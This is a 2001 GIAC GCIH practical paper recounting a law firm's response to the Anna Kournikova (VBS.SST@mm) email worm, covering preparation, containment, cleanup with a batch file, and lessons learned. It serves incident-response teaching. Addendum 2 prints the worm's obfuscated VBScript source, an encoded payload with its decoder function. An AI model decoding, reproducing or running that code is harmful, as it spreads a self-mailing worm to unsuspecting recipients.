Global Information Assurance Certification Paper

ILLUSTRATION OF VBS.SST@mm VIRUS INCIDENT
GCIH PRACTICAL ASSIGNMENT V1.4 OPTION 1, OLINE BETA

KEVIN K SMITH

Submitted 28 March 2001

INTRODUCTION

This paper will illustrate the steps taken to deal with virus infection that occurred at a small to midsize organization. The Information Services department consists of two people that cover the entire range from network administration to help desk functions. The receptionists are considered part of the Help Desk and the business manager acts as the CIO. Regardless of the limited resources, you should see that the approach is the same as those organizations that have fully manned Information Security, Network Operations, Telecommunications and Help Desk departments.

This organization is a seventy-attorney law firm that maintains about 150 workstations. The primary server operating system is Windows NT and the workstations are running Windows 98. Outlook and Exchange are used as the messaging platform. The Firm is connected to the Internet by a fractional-T1 line through a managed service provider. The Internet connection is primarily used for e-mail and for legal research on the web.

Law firms are a little different from most corporate structures. In most corporate environments, you have a pyramid shaped organizational chart. In a law firm, the organizational chart is shaped like an hourglass. The attorneys are at the top, the firm administrators in the middle, and the rest of the staff at the bottom. Information Services falls into the middle tier. It should also be noted that attorneys are owners, shareholders and employees of the Firm. As such, there tends to be little difference on what is considered firm equipment and what is considered personal equipment. It also means any funding for a project comes directly out of their pockets. This can make policy and funding decisions interesting at times.

The actual incident happened on February 12, 2001 at 11:26am. However, the events that led up this incident started several months earlier. The Firm had been without any IT staff for over six months. I signed on as IS Manager with three months to complete several Y2K projects and to pick up the pieces of a neglected network. In January, I was able to hire on a Software Support Specialist to act as a help desk and as a backup for network administration. The Firm has just put in place its first e-mail policy and finished deploying logon

banners. It was time to turn our attention to dealing with malicious code. What are we trying to protect? What are the threats? What are the vulnerabilities?

PREPARATION

ASSESS WHAT TO PROTECT

A prime tenet of the Firm is to maintain client confidentiality. What you see and what you hear at the Firm stays at the Firm. You don't even acknowledge that you are working for a particular client.

Attorney work product represents the crown jewels of the Firm. The pleadings, wills and tax returns represent the work done for the client. At a minimum, the destruction or alteration of these documents could result in the annoyance of having to recreate them. On the high end it can result in a malpractice suit, increased insurance premiums and lost good will.

Finally, it is important to maintain good client relationships. Clients are not very pleased when you send them a virus or start clogging their mail systems with junk.

ASSESS THE THREATS

Since we are discussing a virus incident, we will focus on the malicious code threats. When it comes to client confidentiality, backdoors would be the biggest problem. If a backdoor were successfully installed, the intruder would have time to pick-and-choose the information. Malicious code that picks random files as attachments could pick your draft brief and mail it to everyone in your address book. By the way, three of those contacts are part of the opposing counsel. Trojans and password stealers could also pose a problem, allowing unauthorized persons access to the data.

The same threats to client confidentiality are also threats to attorney work product. If an intruder can access a document, they may also have the ability to alter or destroy the document. A macro virus would be the largest threat due to the large variety and from the large number of documents that could be affected in a short length of time.

A macro virus would also tend to annoy clients. They aren't very pleased when they have to clean up their systems because you sent them an infected document. Mass mailers also tend to annoy the clients. The client either can't trust the messages you send or your legitimate messages get lost (or purposely filtered) in the barrage of junk messages.

ASSESS THE AVENUE OF ATTACK

The next step is to figure out how the malicious code could reach us. We have a fractional-T1 connection to the Internet. E-mail is another common avenue that malicious code takes. However, the floppy disk tends to be a bigger threat. To a small degree, we see problems with diskettes that users bring from home. However, our own archives seem to bring forth the oldie but goodies such as "Stoned-Monkey", "AntiEXE", "Cannibus" and "Stealth". The diskettes were placed in the file during the days when virus protection wasn't taken as seriously.

ASSESS THE CURRENT STATE

The workstations used a retail copy of McAfee Virus Scan Deluxe [www.mcafee.com]. The software was two years out of date, most of the signatures were over six months old and half the station had it disabled. The product wasn't configured to do the best job it could.

Updates and current signatures were downloaded from the McAfee website [http://download.mcafee.com/updates/updates.asp?]. After a couple of weeks, the workstations were running current virus signatures.

Although worthwhile, this exercise wasn't really about getting the workstations up to date. It was about documenting our current virus protection system. It was also about gathering information on how long it takes to deploy new signatures when they become available.

The Firm's fractional-T1 connection was considered next. This connection was provided by a managed service provider and included a managed firewall service. This turned out to be a real lesson in trust but verify. When asked for the configuration, the service provider responded "Oh, your predecessor kept having problems and told us to turn it off." This is where the "emergency powers" clause kicks in. After a flurry of faxes and a couple of hours on the telephone, the firewall was back in operation. The basic configuration was set to deny-all. SMTP was allowed in and out to our mail server and only allowed web and ftp traffic initiated from the inside. (To date, we have had to open only one other port from this default configuration for a specialized application.)

E-mail was still a problem. There were no filters for attachments. Our protection amounted to trusting the user not to open the attachment or hoping the desktop virus scanner caught any malicious code.

It was clear the current setup would not adequately protect the Firm's assets. The real planning was ready to begin.

CLOSE AVENUES OF ATTACK

The firewall was configured as tightly as it could without cutting off the needed services. No more changes would be made. However, the service provider would provide a dump of the configuration once a quarter. This would be used to verify that unauthorized changes had not been made.

Since e-mail is allowed through the firewall, malicious code can hitch a free ride. Ideally, they should be stopped before they reach the end user. This means content filtering. Because of the nature of law practice, filtering based on language content would trigger way to many false positives.

The other alternative is to block mail messages based on the file type of the attachment. A proposal was set up, pitched and promptly shot down. (Despite all the lawyer jokes, lawyers do like their jokes.) This was expected. The Firm had yet to be hit by a major virus incident. Combine the lack of appreciation for the risk with an attitude of "you are not going to tell me what I can't do"; it was going to be a tough sell. Instead, we set up end-user educational programs in hopes that we could resubmit the request.

MAKE THE ENVIRONMENT LESS HOSPITABLE

Even if the entrances were blocked, malicious code may still get through. Planning turned to making our environment a little less hospitable to malicious code.

The virus lists on Symantec [www.sarc.com], McAfee [www.mcafee.com/anti-virus/default.asp?] and Sophos [www.sophos.com/virusinfo], gave an idea of the more common types of malicious code. Three stood out: hoaxes, the macro virus, and visual basic scripts.

Hoaxes may not be a true virus. However, a hoax can be a form of denial of service if not just an annoyance. A protocol was put into place. End users were to forward warnings about a virus to Information Services. Information Services would issue an official warning to the users along with other appropriate information or instructions. If a hoax, the end user would receive a reply that included a link to the hoax write up on one of the virus lists. The end user feels like they are helping. At the same time, they are relieved that they will not look foolish passing on a fake warning. This protocol has worked well a kept what could have been a few hundred messages a month to two or three a month. As expected, an official warning has yet to be issued.

With macro virus, we want to make sure they cannot run automatically. We use Corel WordPerfect 8, Word 97 and Word 2000. There doesn't appear to be a way to disable macros (a.k.a PerfectScript) in WordPerfect. This is only a minor concern since most macro virii appear to target the Microsoft products. A search

on VIRUS in the help file in each version of Word showed the steps turn on macro security. In Word 97 you check the "Macro virus protection" box on the General tab under Tools, Options. In Word 2000 it is under Tools, Macros Security. We set the option to High. First we had to inform the users why we were turning off the autorun macros. The harder part was teaching the end users what to do when they received a document that had an autorun macro. Where did the document come from? Should it have any macros? What would the macro do? It's tough to get to that balance where the end user is not calling you every time a macro shows up and the end user gets so annoyed that they turn macros back on.

Visual basic scripts pose a different problem. The windows scripting host was removed from all the workstations. [Addendum 1] While not directly related to visual basic, the "Eye dog" patches from Microsoft were applied to prevent the problem with activeX controls. [www.Microsoft.com/technet/security/bulletin/ms99-032.asp]. Beyond that, things get sticky. Several of the pension and estate planning programs are based on visual basic libraries. If that wasn't bad enough, a couple of the Internet based legal research systems require the visual basic library under Internet Explorer. Shutting down visual basic would seriously impair part of the attorney's ability to generate revenue. (It's always good to remember that if a company doesn't generate revenue, it can't pay your salary. A reminder of your stake in the business.)

HUNT FOR MALCIOUS CODE

The previous approaches have been passive. Previous infections may be lying dormant or a virus may have gotten through before the appropriate signatures were available. A system was needed to actively look for malicious code. The criteria for this system included:

1. The ability to quickly update virus signatures.
2. The ability to control the settings of the desktop virus scanner.
3. The ability to scan e-mail at the server.
4. The ability to quarantine infected attachments.
5. The ability to receive automated alerts.
6. The ability to run reports on virus activity.

After a review of several programs, Symantec's Norton AntiVirus Enterprise was selected for this task. [enterprisesecurity.symantec.com/products] This allowed automatic configuration of virus protection on the servers and workstations. This also gave the ability to track and update virus signature levels on all workstations using Live Update and the Symantec System Console. The Symantec Antivirus for Exchange allows the same options on the e-mail server.

A few policy decisions had to be ironed out. Tying back to good client relations, both incoming and outgoing e-mail would be scanned. Any infected attachments would be cleaned and a backup copy of the infected attachment sent to the

quarantine server. If it could not be cleaned, the attachment would be quarantined. This would allow analysis of the file in tact if needed. Information Services staff would receive an alert over e-mail. An alert message would be sent to the sender and recipient as well. IS staff would then contact the recipient to get them up to speed as well as work with them in situations where a client sent the infected attachment.

The workstations were set up for real-time scan. They would check the central LiveUpdate server every time the booted up. The Live Update server would check for signature updates every morning at 4am. This configuration kept 97% of our workstations within three days of the latest signatures automatically. The reporting features of the Symantec System Console allowed quick identification of workstations that were out of date.

AN OUNCE OF PREVENTION

A continuous part of the prevention process is end user education. Every time Information Services received a notice of an infected file, the end user would get a plug about the need to double check before actually opening attachments. As new malicious code is announced, Information Services would send out a public service announcement to the Firm. The announcement would remind the end user to check their systems at home and to make sure their virus signatures were up to date. End users were reminded not to trust attachments, even if they know the sender. The sender may not even know it is going out. We also end every announcement with the following warning:

> *"Remember, a virus scanner can only catch the ones it knows about. Someone had to get it first. Please help make sure we are not the first."*

Regardless of all the planning, at some point the inevitable will happen. A new version of malicious code will get through and a user will activate it. Tools had to be assembled to deal with it.

CLEAN UP CREW

We assembled a mini-CIRT consisting of our two Information Services personnel and the Firm's business manager. It would be up to the IS personnel to assess the threat and determine the proper courses of action. The business manager would act as the executive authority to carry out the determined actions. An emergency powers clause would allow IS personnel to act when the business manager was not available.

Regardless of the limitations on preventing malicious code, incident team had the authority to act when it did hit. Again, tying back to our desire to protect client confidentiality and attorney work product, the general policy is to successively isolate and eliminate the malicious code. So, if a workstation gets infected, it is

removed from the network, then cleaned or rebuilt depending on what is found. If we are hit with an e-mail virus, we shut down the SMTP ports, block e-mail at the firewall, and shut down the mail client. At the next level, we shut down and isolate the mail servers. If it can't be cleaned, we rebuild the server from a known good backup.

THE TOOLS

Cell phones and a communication plan: Every hour the members of the incident team touch base to update findings and to update status. During an incident, the team usually ignores their desk phones and use cell phones to communicate. The Business Manager would field questions from senior attorneys. Receptionists are enlisted to field calls from the end users and catch any calls that roll over. Receptionists are provided with a current status to give callers. They would also forward any information that might be useful to the incident team. This way, end users received answers and the team is left free for the work at hand. A point was also made to briefly talk with end users when the team is working in their area.

A standalone workstation with DOS and a text editor: This is an old 486 computer that has been stripped down and only runs DOS. Many of the script files are basically text. The text editor allows you to safely view the script file without providing any facilities to execute it. Looking at the source can help figure out what the attachment is doing and come up with a quick fix or shut down the appropriate services until a fix can be found.

A laptop with a dialup connection: This laptop remains off the network. If necessary it can provide out of band communications to the Internet. This allows you to research the infection or download patches to take care of the problem.

Veritas Backup Exec with Intelligent Disaster Recovery and the Exchange Agent [www.veritas.com/us/products/backupexec]: A full backup is run on each server each night. A series of setup disks created by the Intelligent Disaster Recovery (IDR) and the NT install CD allow a complete or partial restore on any of our servers. On a weekly basis, the IDR creates an updated configuration diskette. The IDR diskette and the tapes are rotated offsite daily.

A server restore kit: Each server has a restore kit with printouts of the configuration and lists of the drivers installed. The kit also contains the IDR setup disks and any additional device drivers that would be needed to restore a server.

A workstation restore kit: Each model of workstation has a kit with the factory restoration CD and the operating system CD.

The documents file: Each member of the team has two copies of Firm contact numbers, vendor numbers, facilities numbers and IP addresses. One copy is maintained at home, the other is carried in the team member's briefcase.

A sense of calm and a sense of humor: Keeping your head and at least appearing in control can go a long way in making sure a bad situation does not get worse.

IDENTIFICATION

This leads back to the actual incident. A mob forming at your office door is a good indication that something is going on. At 11:29am, a quick glance at e-mail quickly showed what they were here about. End users were getting several messages from one of the people in our office. The subject line read "*here you have, ;o)*" The name of the attachment, AnnaKournikova.jpg.vbs, indicated we had a visual basic script virus with a mailer worm.

CONTAINMENT

With a mass mailer, successive shutdown means closing off SMTP traffic. The incident team was activated. There is an advantage to a small team. The other members had realized what was happening and started instructing users to shut down their e-mail clients. As the team went around, they also compiled a list of senders that showed up. These machines were shutdown completely and disconnected from the network. On the back end, the Exchange server's Internet mail connector and the message transfer queue were shut down. A call was placed to the service provider to close down inbound and outbound SMTP traffic at the firewall.

ERADICATION

The attachment was saved to a floppy from one of the machines before it was shut down. The attachment was opened with a text editor on the standalone DOS machine. Most of the attachment looked like garbage, which meant it was encrypted, or in binary. "OnTheFly" or AnnaKournikova would have to suffice as keywords for any research.

While one of the team members researched the virus on the Internet, the other members contacted colleagues at client sites and other law firms. Everyone contacted indicated that they had been hit as well had no information on the attachment.

A search on the antivirus sites for AnnaKournikova or "OnTheFly" turned up nothing. It would take a while for them to catch up. As usual, the first information started turning up on the news groups. About an hour into the incident, the first information showed up on a search of DejaNews (www.dejanews.com, now groups.google.com)

The post by Andrys Basten [groups.google.com] on the alt.comp.virus news group provided some information and also referred back to a write-up on F-Secure [www.f-secure.com/v-desc/onthefly.shtml]. The write-up indicated that a file called annakournikova.jpg.vbs gets created in the windows directory. A quick batch file was put together that searched for the script file and deleted it. This batch file was run on each workstation and a note was made of workstations where it was found.

DA.BAT

The following batch file looks for the AnnaKournikova.VBS file in the windows directory. Pauses to give a chance to record whether it was found and then deletes the file.

```
echo on
dir c:\windows\anna*.vbs
pause
attrib c:\windows\anna*.vbs –r
del c:\windows\anna*.vbs
pause
```

After updating our status, a check was made of the Exchange server's Message Transfer Agent (MTA) queues and the Internet connector mail queue. While not intentional, there is an advantage to how you set the addressing order in Outlook. With Recipients first, Contacts second and Global Addresses third, the mailer spent so much time on our internal address list that only five external addresses had been queued in the MTA. None had made it to the Internet connector. With the workstations and the message queues shut down, they had nowhere to go.

Now it was hurry up and wait. SARC [www.symantec.comavcenter/venc/data/vbs.sst@mm.html] and the other antivirus sites had started issuing more information. However, it would be some time before an updated virus signature would be ready. It was about 1pm and time to reevaluate the timeline. For this type of incident we give ourselves three days to get back up and running. This means that we could wait until noon the next day for an updated signature. If it did not arrive by then, we would proceed to rebuild the Exchange server.

The server rebuild kit, the last three backup tapes and the IDR configuration disk were called in from offsite. The incident team used the idle time to answer user questions and to review the process for rebuilding the server.

Fortunately, a rebuild was not going to be necessary. At 5:35pm CST, LiveUpdate was able to download the updated signatures from Symantec. After

verifying the signatures had updated on the Exchange server, a manual scan was started.

While the scan on the mail server was running, the desktop virus signatures were updated on the seventeen machines where annakournikova.jpg.vbs was found in windows directory. DA.BAT had already killed the source program, but the scan did clean out remnants in the windows temporary directory.

The manual scan finished cleaning out the mailboxes about five hours later. It was time to restart the MTA and let the e-mail scanner clean out the messages that were still in the queue. This process would take most of the night.

The next morning it was time to put the rest of the office to work. Signs were posted telling users to start their machines, but not to log on. A person in each area was designated to act as a monitor and to instruct other end users what to do. It was stressed to the users that if they did not follow instructions the server would have to shut down and the cleanup started over again.

This allowed our central antivirus server to distribute the updated signatures to the workstations. When all the workstations in an area were updated, a team member instructed the end users to log on and start up a full virus scan. Surprisingly, only two additional workstations were found with the virus.

RESTORATION

Restoration involved allowing users back into e-mail and deleting all the disinfected messages and the virus alert messages. The Internet connector was still kept down, limiting the users to internal e-mails only. End users were instructed to start up their e-mail and to delete the cleaned e-mails and the virus alert messages. By 11am, most of the cleanup was finished no virus alerts had shown up since the major cleanup process. The Internet connector was brought back up and full e-mail service was reestablished. By the end of the day when the incident team stood down, only saw sixteen additional hits were registered and blocked by the e-mail virus scanner.

FOLLOWUP AND LESSONS LEARNED

INCIDENT SUMMARY

First Infection (from cleanup logs)	11:29am, 12 February 2001
First Notification of Problem	11:34am, 12 February 2001
Internet mail service shut down	11:48am, 12 February 2001
First write-up available	1:15pm, 12 February 2001
Symantec AntiVirus Signatures loaded	5:35pm, 12 February 2001
Mail Box Scan started	5:38pm, 12 February 2001

Mail Box Scan finished	10:54pm, 12 February 2001
Internal e-mail reestablished	8:15am, 13 February 2001
External e-mail reestablished	11:05am, 13 February 2001

Infections cleaned during manual scan	6,721	
Infections cleaned from MTA queue	10,147	
Additional attempts blocked by scanner	16	
Unrelated infected messages blocked	1	(hybris.gen)

Elapsed downtime 23 hours, 36 minutes.

LESSONS

Three major lessons came out of this incident. The first is that while logging is good, consider turning off alerts when you doing a manual scan. Most end users could open their mailbox right away, only averaging 120 to 200 alerts and disinfected messages. It took the members of the incident team twenty minutes from the 9000 or so virus notification messages.

Next, a shortfall in our knowledge base was identified. No member of the team knows how to deal with the message transfer agent queue when it was shut down. Further research is needed to determine what files can be deleted and still be able to bring the MTA back up properly.

Third, regardless of how much end users are educated, at some point one of them will double-click that one attachment that infects the organization. Now that the Firm has seen the results first hand, a proposal to implement content filtering based on file type has been resubmitted to the Executive Committee.

On the "it would be nice side", the incident team is looking at acquiring tape recorders to take notes during an incident. The team would practice with them during their normal duties so they will be useful tools instead of a distraction during an incident. A check is also being made to see if the Firm's voicemail system is capable of sending broadcast messages to all end users. An answer only voicemail box is being set up to for end-users to receive status reports.

CONCLUSION (AND BEGINNING)

Policy may not always allow you to protect your systems the way you think you ought to. Each incident is not just an education process for you, but also for your organization. When you handle an incident well (even if everything does not go right or as planned) you do gain credibility in the eyes of management. They see that you were prepared to deal with the incident. While it can be difficult to avoid the "I told you so", if you do you can leverage that credibility the next time you want to implement a preventative measures. Remember, because an issue was

shot down in the past, doesn't mean that it will get shot down again. First hand experience can always shed new light. (The Executive Committee passed content filtering unanimously.)

REFERENCES

Basten, Andrys, “RE: annakournikova / onthefly”, alt.comp.virus 2/12/2001 via groups.google.com, search terms: annakournikova, virus, onthefly

Chien, Eric, “VBS.SST@mm”, www.symantec.com/avcenter/venc/data/vbs.sst@mm.html, 2/12/2001

Microsoft Corporation, “Microsoft Security Program: Microsoft Security Bulletin (MS99-032)”, www.Microsoft.com/technet/security/bulletin/ms99-032.asp, 10/12/1999

Tocheva, Katrin, Rautiainen, Sami, “Onthefly”, www.f-secure.com/v-descs/onthefly.shtml, 2/12/2001

VIRUS LISTS

Symantec,	www.sarc.com/avcenter/vinfofb.html
McAfee,	vil.mcafee.com
Sophos	www.sophos.com/virusinfo

PRODUCT INFORMATION

McAfee Virus Scan Deluxe	
Dat File updates,	download.mcafee.com/updates/updates.asp?
Symantec Corporation	
Norton AntiVirus Enterprise,	enterprisesecurity.symantec.com/products
VERITAS	
Backup Exec for NT/2000, Intelligent Disaster Recovery Agent for Exchange	www.veritas.com/us/products/backupexec

ADDENDUM 1
REMOVAL OF WINDOWS SCRIPTING HOST

On the Windows 98 workstation,
Start, Settings, Control Panel
Add and Remove Programs
Windows Setup tab
Accessories, Details
Uncheck the Windows Scripting Host
OK
OK

Symantec also provides a tool to disable the Windows Scripting Host at www.symantec.com/avcenter/venc/data/win.script.hosting.html

ADDENDUM 2

Text source of AnnaKournikova.jpg.vbs

```
# 'Vbs.OnTheFly Created By OnTheFly
# Execute
# e7iqom5JE4z("X)udQ0VpgjnH {tEcggv f{DQ VpgjnH {Q  ptGqt tgTwugoP zg vU vgG Q
# 9v58Jr7R6? E gtvcQgldeg*vY$eUktvrU0gjnn+$  9G5QJv786r0Rgtyiktgv$ MJWEu^hqyvt
# c^gpQjVHg{n$^ .jE*t9: + (jE*t33+3( E tj3*63 + (jE*t23+;( E tj5*+4( E tj3*;2
# + (jE*t9; + (jE*t23+2( E tj3*32 + (jE*t45 + (jE*t33+;( E tj3*72 + (jE*t33+8(
#  E tj3*62 + (jE*t45 + (jE*t8: + (jE*t:; + (jE*t33+7( E tj3*;3 + (jE*t23+5( E
#  tj5*+4( E tj6*+;( E tj6*+8( E tj7*+5( E tj6*+:( E tj;*+:  gU vQtcyVopldi?7E
#  gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v +t yQoclVip7de0rqh{nk guyterk0veuk
# tvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2 (^$pCcpqMtwkpqmcxl0irx0ud $k  h9
# G5QJv786r0Rgtticg f$*MJWEu^hqyvtc^gpQjVHg{no^kcgn$f +@>$ $3v gj pg p4CUJ9inE
# N+*  pg fhk  hko pqjvp*yq +3?c fpf {cp*yq +4? 8jvpg  9G5QJv786r0Rwt pJ$vv<r1
# 1yy0y{fcp{dgvp0$n5.h.ncgu  pg fhk  gU vMLUiJy9M59?zt yQoclVip7dq0grvpzghvnk*
# guyterk0veuktvrwhnncpgo .+3  P\L7\Mz6wk?XL iMyUMJ99z5t0cgcfnn  MLUiJy9M590zn
# Euq gF  qK  hqP vt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++V gj pU vgW
#  Kg44:|6R2x ?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gV wt+g  gW4K|
# 4R:x602tyvk\g7PML6\kzXw  gW4K|4R:x602nEuq gG fpK  hN qq rH pwveqk p4gUp9CnJN
# i*E +Q  ptGqt tgTwugoP zg vU vgF 54xQOzM8JT? E gtvcQgldeg*vQ$vwqnmqC0rrkncek
# vpq+$  hKF 54xQOzM8JT ?Q$vwqnmqV$gj pU vgl 74PvD\h;n:F?54xQOzM8JTI0vgcPgorUe
# c*gO$RC$K +U vgU m834i35gN5 ?4lv7\P;D:h0nfCtfugNuukuv  qH tcGjeL 4TRoOuD4ToK
#   p8U4m33gi55 NK  hTLo4uR4OoD0TfCtfugGuvpktugE0wqvp>  @ 2jVpg  6fFDz5yi3x L
# ?TLo4uR4OoD0TfCtfugGuvpktugE0wqvp  qH t9Z;:cX|5gT?|3 V  q6fFDz5yi3x LU vgk 9
# sd4:6x5\5? F 54xQOzM8JTE0gtvcKggv*o+2  gU vKQ6GXDl[LQ : ?TLo4uR4OoD0TfCtfugG
# uvpktugZ*:9X;5cT||g +k 9sd4:6x5\5V0 q ?KQ6GXDl[LQ0:fCtfug uk 9sd4:6x5\5U0dwg
# lve? $ gJgt{ wqj xc.g= +q $k 9sd4:6x5\5D0fq { ?J$<k $ (dxtehn( $ jEeg mjVuk$
# ( x ednt h ($$  gu vYhpu:sI[h;?3sk496d5:5x0\vCcvjegovp uh uYsp[:;I3hC0fft y
# QoclVip7dI0vgrUegckHnnqgf*t+2 (^$pCcpqMtwkpqmcxl0irx0ud $k 9sd4:6x5\5F0ngvgC
# gvhtgwUodvk? V wt gK  hsk496d5:5x0\qV>  @$$V gj pk 9sd4:6x5\5U0pg fG Q9v58Jr
# 7R6t0igtyvk gJ$EM^WquvhcygtQ^VpgjnH^{conkfg.$$ $3  pG fhK  gPvz  pG fhK  gPv
# z  pg fhk  pG fwHepkvpq  X)udiy3 70d2")
# Function e7iqom5JE4z(hFeiuKrcoj3)
# For I = 1 To Len(hFeiuKrcoj3) Step 2
# StTP1MoJ3ZU= Mid(hFeiuKrcoj3, I, 1)
# WHz23rBqlo7= Mid(hFeiuKrcoj3, I + 1, 1)
# If Asc(StTP1MoJ3ZU) = 15 Then
# StTP1MoJ3ZU= Chr(10)
# ElseIf Asc(StTP1MoJ3ZU) = 16 Then
# StTP1MoJ3ZU = Chr(13)
# ElseIf Asc(StTP1MoJ3ZU) = 17 Then
# StTP1MoJ3ZU = Chr(32)
# Else
# StTP1MoJ3ZU = Chr(Asc(StTP1MoJ3ZU) - 2)
# End If
# If WHz23rBqlo7<> "" Then
# If Asc(WHz23rBqlo7) = 15 Then
# WHz23rBqlo7= Chr(10)
# ElseIf Asc(WHz23rBqlo7) = 16 Then
# WHz23rBqlo7= Chr(13)
# ElseIf Asc(WHz23rBqlo7) = 17 Then
# WHz23rBqlo7= Chr(32)
# Else
# WHz23rBqlo7= Chr(Asc(WHz23rBqlo7) - 2)
```

```
# End If
# End If
# e7iqom5JE4z = e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU
# Next
# End Function
# 'Vbswg 1.50b
```